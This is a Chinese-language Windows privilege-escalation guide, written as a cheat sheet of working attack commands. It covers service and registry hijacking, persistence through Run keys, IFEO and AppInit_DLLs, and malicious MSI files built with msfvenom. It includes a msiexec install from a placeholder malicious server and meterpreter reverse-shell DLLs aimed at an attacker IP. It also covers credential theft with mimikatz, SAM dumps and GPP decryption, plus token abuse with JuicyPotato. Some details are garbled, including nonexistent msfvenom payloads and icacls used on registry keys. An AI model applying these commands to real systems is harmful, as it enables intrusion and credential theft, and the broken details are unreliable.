在信息安全领域,提权(Privilege Escalation)是指通过技术手段提升操作系统中用户的权限,从而获得更高的访问级别。这在渗透测试和攻击者的日常活动中是一个关键步骤。本文旨在详细介绍 Windows 提权的各种技术,帮助读者深入理解和掌握这些方法。
在进行提权之前,了解和掌握一些基本的 Windows 命令是非常重要的。这些命令可以帮助我们获取系统信息、网络配置、用户信息等,从而为进一步的提权操作打下基础。
命令 | 描述 |
---|---|
systeminfo | 打印系统信息 |
whoami | 获取当前用户名 |
whoami /priv | 列出当前帐户权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示 DNS 缓存 |
route print | 打印路由表 |
arp -a | 打印 ARP 表 |
hostname | 获取主机名 |
net user | 列出用户 |
net localgroup | 列出所有组 |
net view \\127.0.0.1 | 列出打开到当前计算机的会话 |
net session | 列出其他机器打开的会话 |
netsh firewall show config | 显示防火墙配置 |
DRIVERQUERY | 列出已安装的驱动 |
tasklist /svc | 列出服务任务 |
net start | 列出启动的服务 |
dir /s foo | 在目录中搜索包含指定字符的项目 |
sc query | 列出所有服务 |
sc qc ServiceName | 找到指定服务的路径 |
shutdown /r /t 0 | 立即重启 |
type file.txt | 打印文件内容 |
icacls "C:\Example" | 列出权限 |
wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的补丁 |
(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath") | 利用 PowerShell 远程下载文件到本地 |
accesschk.exe -qwsu "Group" | 修改对象权限 |
这些命令不仅可以帮助我们收集系统信息,还可以在某些情况下直接用于提权操作。例如,使用icacls
可以检查目录权限,发现潜在的权限配置错误;使用sc qc
可以查看服务配置,找出不安全的服务路径等。
Windows 系统中存在多种本地权限提升漏洞,这些漏洞可以通过利用系统内核的缺陷来实现提权。以下是一些常见的漏洞利用方法和资源:
在实际操作中,利用内核漏洞可能会影响系统的稳定性,因此在测试环境中进行实验非常重要。此外,确保系统没有打上最新补丁也是成功利用漏洞的关键。
利用配置错误的服务进行权限提升是一种常见的攻击方法。以下是几种常见的服务配置错误及其利用方法:
当系统管理员配置 Windows 服务时,如果没有为可执行文件路径添加引号,攻击者可以在路径中放置恶意可执行文件,从而劫持服务执行权限。
示例:
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
如果未加引号,系统可能会执行C:\Program.exe
而不是预期的服务。这类漏洞可以通过简单的脚本自动检测,例如:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
配置错误的服务权限允许攻击者修改服务路径并执行任意代码。使用accesschk
工具可以快速检查当前用户对各服务的权限:
accesschk.exe -uwcqv "user" *
然后使用sc qc
查看服务配置:
sc qc "Service"
一旦发现可修改的服务,可以更改其可执行文件路径:
sc config "Vulnerable" binpath="C:\malicious.exe"
sc stop "Vulnerable"
sc start "Vulnerable"
这类攻击方法在权限不足时可以利用社工技巧让管理员重新启动服务。
在某些情况下,服务的可执行文件路径可能指向一个对非管理员用户可写的目录。攻击者可以利用这一点替换合法的可执行文件,从而获得更高的权限。
示例:
icacls "C:\Program Files\VulnerableService" /grant Everyone:F
攻击者可以将恶意可执行文件放置在该目录中,当服务启动时,恶意代码将被执行。
服务的可执行文件路径信息存储在注册表中,攻击者可以通过修改注册表项来更改服务的启动路径,从而执行恶意代码。
示例:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f
修改后,重新启动服务以执行恶意代码:
sc stop "VulnerableService"
sc start "VulnerableService"
Windows 服务具有恢复选项,允许管理员在服务失败时配置执行的操作。攻击者可以修改这些选项以执行恶意代码。
示例:
sc failure "VulnerableService" actions= restart/60000/run/60000
sc failureflag "VulnerableService" 1
指定在服务失败时运行的程序路径:
sc config "VulnerableService" binpath= "C:\malicious.exe"
某些服务被配置为手动启动,攻击者可以将其更改为自动启动,从而在系统启动时自动执行恶意代码。
示例:
sc config "VulnerableService" start= auto
启动服务以执行恶意代码:
sc start "VulnerableService"
攻击者可以利用服务之间的依赖关系,通过创建一个恶意服务,使得当依赖服务启动时,恶意服务也会被启动。
示例:
sc config "DependentService" depend= "VulnerableService"
sc create "VulnerableService" binpath= "C:\malicious.exe"
启动依赖服务以触发恶意服务:
sc start "DependentService"
通过这些方法,攻击者可以利用服务配置错误进行权限提升,从而在系统中执行任意代码。这些技术在实际操作中非常有效,安全人员应特别注意服务的配置和权限管理,以防范潜在的攻击。
Windows 注册表是一个庞大的配置数据库,存储了系统和应用程序的配置信息。由于其重要性,注册表中的漏洞经常成为攻击者的目标。以下是一些常见的注册表漏洞及其利用方法:
Windows 启动时会自动运行某些注册表项中的程序。攻击者可以添加或修改这些项,以便在系统启动时执行恶意代码。
示例:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\malicious.exe" /f
某些服务的可执行文件路径存储在注册表中。攻击者可以通过修改这些路径来执行恶意代码。
示例:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f
修改后,重新启动服务以执行恶意代码:
sc stop "VulnerableService"
sc start "VulnerableService"
AlwaysInstallElevated 是一种允许非管理员用户以 SYSTEM 权限运行 MSI 文件的设置。通过查询以下、注册表项,可以检查该设置是否启用:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果该设置启用,可以利用它来执行恶意 MSI 文件:
msiexec /i malicious.msi
某些注册表键可能配置了不安全的权限,允许低权限用户修改或删除这些键。攻击者可以利用这一点来更改系统配置或植入恶意代码。
示例:
icacls "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /grant Everyone:F
修改注册表键后,重新启动服务或系统以执行恶意代码。
注册表项的安全描述符定义语言(SDDL)字符串定义了谁可以访问该项。攻击者可以修改 SDDL 字符串以获得对某些注册表项的完全控制权。
示例:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /t REG_SZ /v "Security" /d "D:(A;;GA;;;WD)" /f
此命令将注册表项的权限设置为允许所有用户完全控制。
Windows 系统中的某些环境变量值存储在注册表中,攻击者可以通过修改这些值来劫持系统行为。
示例:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "Path" /t REG_EXPAND_SZ /d "C:\malicious;%" /f
此命令将环境变量 Path 修改为包含恶意路径,从而劫持系统中运行的程序。
攻击者可以在注册表中添加钩子,使得当某些注册表项被访问时,恶意代码会被执行。
示例:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\target.exe" /v "Debugger" /t REG_SZ /d "C:\malicious.exe" /f
此命令会使target.exe
在每次执行时都启动malicious.exe
。
通过修改AppInit_DLLs
注册表项,攻击者可以将 DLL 注入到所有进程中,从而获得系统控制权。
示例:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\malicious.dll" /f
此命令会在所有进程启动时加载malicious.dll
。
攻击者可以修改系统的启动与恢复设置,以便在系统崩溃时执行恶意代码。
示例:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "AutoReboot" /t REG_DWORD /d "0" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "DumpFile" /t REG_EXPAND_SZ /d "C:\malicious.dmp" /f
此命令会将系统崩溃后的转储文件路径设置为恶意文件。
通过这些方法,攻击者可以利用注册表中的配置错误和权限漏洞,进行权限提升和系统控制。安全人员应特别注意注册表的配置和权限管理,以防范潜在的攻击。
不安全的文件系统权限是攻击者常用的提权手段之一。以下是几种常见的文件系统权限配置错误及其利用方法:
某些系统目录可能被错误配置为对所有用户可写。攻击者可以在这些目录中放置恶意文件,以便在系统启动或用户执行相关程序时运行。
示例:
icacls "C:\Windows\System32" /grant Everyone:F
攻击者可以将恶意文件放置在C:\Windows\System32
目录中,并通过系统的自动加载机制执行。
某些程序文件可能被配置为对所有用户可写。攻击者可以替换这些程序文件,以便在用户执行程序时运行恶意代码。
示例:
icacls "C:\Program Files (x86)\VulnerableProgram" /grant Everyone:F
攻击者可以将恶意文件放置在该目录中,当用户运行程序时,恶意代码将被执行。
计划任务可以被配置为定期执行某些操作。攻击者可以创建或修改计划任务,使其执行恶意代码。
示例:
schtasks /create /tn "MaliciousTask" /tr "C:\malicious.exe" /sc daily /st 12:00
此命令会创建一个计划任务,每天中午执行恶意代码。
Windows 系统启动时会自动运行某些启动项。攻击者可以在这些启动项路径中放置恶意文件,以便在系统启动时运行。
示例:
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /grant Everyone:F
攻击者可以将恶意文件放置在该目录中,当系统启动时,恶意代码将被执行。
Windows 服务的二进制文件路径可能指向一个对非管理员用户可写的目录。攻击者可以替换这些二进制文件,从而在服务启动时运行恶意代码。
示例:
icacls "C:\Program Files\VulnerableService" /grant Everyone:F
攻击者可以将恶意二进制文件放置在该目录中,当服务启动时,恶意代码将被执行。
一些系统备份文件可能包含敏感信息或具有不安全的文件权限。攻击者可以利用这些文件进行提权或信息窃取。
示例:
icacls "C:\Windows\System32\config\SAM" /grant Everyone:F
攻击者可以访问并读取 SAM 文件,从而获取系统用户的密码哈希。
某些日志文件可能被配置为对所有用户可写。攻击者可以利用这些日志文件来隐藏恶意活动或执行代码注入。
示例:
icacls "C:\Program Files\VulnerableApp\logs" /grant Everyone:F
攻击者可以在日志文件中插入恶意代码,当日志文件被读取或处理时,恶意代码将被执行。
环境变量目录可能被错误配置为对所有用户可写。攻击者可以修改这些目录中的文件,以便在系统或应用程序启动时执行恶意代码。
示例:
icacls "C:\Users\Public" /grant Everyone:F
攻击者可以在公共目录中放置恶意文件,并通过修改环境变量来执行这些文件。
通过这些方法,攻击者可以利用不安全的文件系统权限进行权限提升和系统控制。安全人员应特别注意文件系统的权限配置和管理,以防范潜在的攻击。
AlwaysInstallElevated 是一种允许非管理员用户以 SYSTEM 权限运行 Microsoft Windows 安装程序包(.MSI 文件)的设置。默认情况下,这个设置是禁用的,但在某些环境中,系统管理员可能会启用它以方便软件安装。以下是一些利用 AlwaysInstallElevated 漏洞的方法和例子:
首先,需要检查系统中是否启用了 AlwaysInstallElevated 设置。可以通过查询以下、注册表项来完成:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果返回的值为 1,表示该设置已启用。
如果 AlwaysInstallElevated 设置启用,攻击者可以创建一个恶意 MSI 文件,并以 SYSTEM 权限执行。以下是一个创建恶意 MSI 文件的示例:
msfvenom -p windows/exec CMD=calc.exe -f msi -o malicious.msi
然后,通过以下命令执行恶意 MSI 文件:
msiexec /i malicious.msi
这个命令将以 SYSTEM 权限运行 MSI 文件,从而执行恶意代码。
攻击者还可以利用 msiexec 命令下载并执行恶意文件。以下是一个示例:
msiexec /i http://malicious.server/malicious.msi
这个命令将从远程服务器下载并执行恶意 MSI 文件。
通过恶意 MSI 文件,攻击者可以创建一个具有管理员权限的新用户。以下是创建恶意 MSI 文件的步骤:
msfvenom -p windows/adduser USER=hacker PASS=Password123 -f msi -o adduser.msi
执行 MSI 文件创建新用户:
msiexec /i adduser.msi
这个命令将在系统中创建一个名为 "hacker" 的用户,并赋予管理员权限。
攻击者可以创建一个 MSI 文件,用于提取系统中的敏感信息,如密码哈希或注册表键值。以下是一个示例:
msfvenom -p windows/gather/hashdump -f msi -o hashdump.msi
执行 MSI 文件提取密码哈希:
msiexec /i hashdump.msi
这个命令将提取系统中的密码哈希,并将其发送到指定的远程服务器。
攻击者可以利用 MSI 文件运行复杂的 PowerShell 脚本,以执行多步骤的攻击。以下是创建一个运行 PowerShell 脚本的恶意 MSI 文件:
msfvenom -p windows/powershell_exec -f msi -o ps_script.msi CMD="powershell -ExecutionPolicy Bypass -File C:\malicious.ps1"
执行 MSI 文件运行 PowerShell 脚本:
msiexec /i ps_script.msi
这个命令将以 SYSTEM 权限运行指定的 PowerShell 脚本。
通过这些方法,攻击者可以利用 AlwaysInstallElevated 漏洞进行权限提升和系统控制。安全人员应确保在系统中禁用此设置,以防范潜在的攻击。
凭证窃取是攻击者常用的手段之一,通过获取系统中的用户凭证,攻击者可以进一步提升权限或横向移动到其他系统。以下是五种常见的凭证窃取方法及其示例:
Mimikatz 是一个强大的工具,可以从内存中提取明文密码、哈希、PIN 码和 Kerberos 票证。
示例:
# 启用 SeDebugPrivilege
privilege::debug
# 提取当前会话的所有凭证
sekurlsa::logonpasswords
通过这些命令,攻击者可以提取到所有已登录用户的凭证。
SAM 文件(Security Account Manager)中存储了本地用户的密码哈希。攻击者可以利用工具从该文件中提取哈希值。
示例:
# 导出 SAM 文件和 SYSTEM 文件
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system
# 使用工具提取哈希
samdump2 C:\sam C:\system
此命令会导出 SAM 文件和 SYSTEM 文件,并使用 samdump2 提取哈希。
Windows Credential Manager 存储了用户的凭证,包括用户名和密码。攻击者可以使用工具读取这些凭证。
示例:
# 使用 CredDump 提取凭证
python cred_dump.py
此工具会列出存储在 Credential Manager 中的所有凭证。
组策略首选项(GPP)可能包含明文密码,存储在 SYSVOL 共享中的 XML 文件中。攻击者可以读取这些文件并解密密码。
示例:
# 搜索含有 cpassword 的 XML 文件
dir \\<domain>\SYSVOL\<domain>\Policies\ /s /b | findstr cpassword
# 解密 GPP 密码
gpp-decrypt <encrypted_password>
这些命令会查找并解密组策略中的密码。
某些应用程序和服务会将凭证存储在注册表中。攻击者可以使用注册表查询命令提取这些凭证。
示例:
# 查询注册表中的凭证
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
此命令会在注册表中搜索包含 "password" 的键值,并列出相关信息。
综合利用多种凭证窃取技术,攻击者可以在短时间内获取大量的凭证。例如,攻击者可以先使用 Mimikatz 提取当前登录用户的凭证,再从 SAM 文件中提取本地用户的密码哈希,最后利用 GPP 和注册表中的信息,获取域管理员的凭证。
这些例子展示了各种凭证窃取技术,安全人员应加强对系统凭证的保护,包括定期清理内存中的明文密码,限制对 SAM 文件和注册表的访问权限,以及避免在组策略中存储明文密码。通过这些措施,可以有效降低凭证被窃取的风险。
令牌权限利用(Token Privileges Exploitation)是指滥用 Windows 系统中的令牌权限,以提升权限或执行特权操作。以下是几种常见的令牌权限利用方法及其示例:
SeDebugPrivilege 允许用户调试和调整系统中的任何进程。这通常用于注入恶意代码或劫持高权限进程。
示例:
# 启用 SeDebugPrivilege
whoami /priv
# 利用 SeDebugPrivilege 附加到高权限进程并注入代码
mimikatz.exe "privilege::debug" "token::elevate" "exit"
此示例中,Mimikatz 被用来附加到高权限进程并获取其令牌。
这些权限允许用户模仿或分配新的主令牌,这些权限在某些服务和应用程序中非常常见。
示例:
# 利用 JuicyPotato 提升权限
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606B6-2631-43A8-9D99-2D5B86F82DE4}
JuicyPotato 利用 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 提升到 SYSTEM 权限。
这些权限允许用户备份和恢复文件,即使这些文件是系统文件或其他用户的文件。这可以用来读取或写入敏感文件。
示例:
# 使用 SeBackupPrivilege 读取敏感文件
privilege::debug
privilege::backup
token::elevate
lsadump::sam
通过启用这些权限,攻击者可以读取 SAM 文件并获取密码哈希。
SeTcbPrivilege 允许用户直接与系统交互以执行任何操作,通常只有本地系统帐户才有此权限。
示例:
# 通过 SeTcbPrivilege 提升权限
mimikatz.exe "privilege::tcb" "token::elevate" "exit"
这个示例中,Mimikatz 利用 SeTcbPrivilege 提升权限。
SeLoadDriverPrivilege 允许用户加载和卸载设备驱动程序。攻击者可以利用这一权限加载恶意驱动程序,从而在内核级别执行代码。
示例:
# 使用 SeLoadDriverPrivilege 加载恶意驱动程序
sc create MaliciousDriver binPath= "C:\path\to\malicious.sys" type= kernel
sc start MaliciousDriver
通过创建和启动恶意驱动程序,攻击者可以在内核级别执行任意代码。
综合利用多种令牌权限可以达到更复杂和深远的攻击效果。例如,攻击者可以利用 SeImpersonatePrivilege 获取高权限令牌,再利用 SeDebugPrivilege 调试系统进程,最后利用 SeLoadDriverPrivilege 加载恶意驱动程序,达到完全控制系统的目的。
这些例子展示了滥用令牌权限进行权限提升和系统控制的多种方法。安全人员应特别注意用户权限配置和令牌权限管理,以防范潜在的攻击。
DLL 劫持(DLL Hijacking)是指当应用程序在加载 DLL 时,如果未指定完全路径或使用不安全的路径搜索顺序,攻击者可以将恶意 DLL 注入应用程序的执行流程,从而获得执行权限。以下是五种常见的 DLL 劫持利用方法及其示例:
当应用程序加载 DLL 时,会按照预定义的搜索顺序查找 DLL 文件。攻击者可以在高优先级路径中放置恶意 DLL 文件,从而劫持应用程序。
示例:
# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll
# 将恶意 DLL 文件放置在应用程序目录中
copy evil.dll "C:\Program Files\VulnerableApp\"
当应用程序启动并加载相应的 DLL 时,将执行恶意代码。
攻击者可以在系统路径中放置恶意 DLL 文件,以劫持常用应用程序或服务。
示例:
# 将恶意 DLL 文件放置在系统路径中
copy evil.dll "C:\Windows\System32\"
当系统或应用程序加载此 DLL 时,将执行恶意代码。
某些服务在启动时会加载特定的 DLL 文件,攻击者可以替换这些 DLL 文件,从而在服务启动时执行恶意代码。
示例:
# 停止目标服务
sc stop TargetService
# 替换服务的 DLL 文件
copy evil.dll "C:\Program Files\TargetService\service.dll"
# 启动目标服务
sc start TargetService
此操作会在服务启动时执行恶意代码。
注册表中的某些键值会指定 DLL 文件路径,攻击者可以修改这些路径,指向恶意 DLL 文件。
示例:
# 修改注册表键值
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\evil.dll" /f
当系统启动或特定操作执行时,将加载并执行恶意 DLL。
开发人员使用LoadLibrary
函数加载 DLL 文件时,如果未指定完全路径,攻击者可以利用这一点,放置恶意 DLL 文件。
示例:
# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll
# 将恶意 DLL 文件放置在应用程序工作目录中
copy evil.dll "C:\Path\To\VulnerableApp\"
当应用程序调用LoadLibrary
函数加载 DLL 时,将执行恶意代码。
综合利用多种 DLL 劫持技术,攻击者可以在目标系统中实现持久化控制。例如,攻击者可以先利用程序搜索顺序劫持常用应用程序的 DLL 文件,然后通过修改注册表键值劫持系统启动时加载的 DLL 文件,最后利用加载库函数劫持特定应用程序的 DLL 文件,实现对系统的全面控制。
这些例子展示了各种 DLL 劫持技术,安全人员应特别注意应用程序和系统的 DLL 加载路径,确保使用完全路径加载 DLL 文件,并定期扫描系统中的可疑 DLL 文件,以防范潜在的攻击。
也有许多工具和框架可以帮助简化提权过程:
Metasploit
:一个强大的渗透测试框架,包含了大量的提权模块。
Sherlock
:一个用于检查系统中存在的已知提权漏洞的脚本。
windows-privesc-check
:一个用于检查Windows
系统中权限配置错误的工具。
Windows-Exploit-Suggester
:一个根据系统补丁级别建议漏洞利用方法的工具。
PowerUp
:PowerSploit
模块之一,用于自动化提权过程。
Nishang
:一个集合了多种PowerShell
脚本的工具,包含多种提权方法。
这些工具不仅可以帮助识别可利用的配置错误,还可以自动化许多提权过程,极大地提高了工作效率。
感谢您的阅读,希望您发现本指南有用。提权是一个复杂而关键的过程,需要不断学习和实践。通过掌握本文介绍的方法和工具,您将能够更好地进行Windows
提权操作。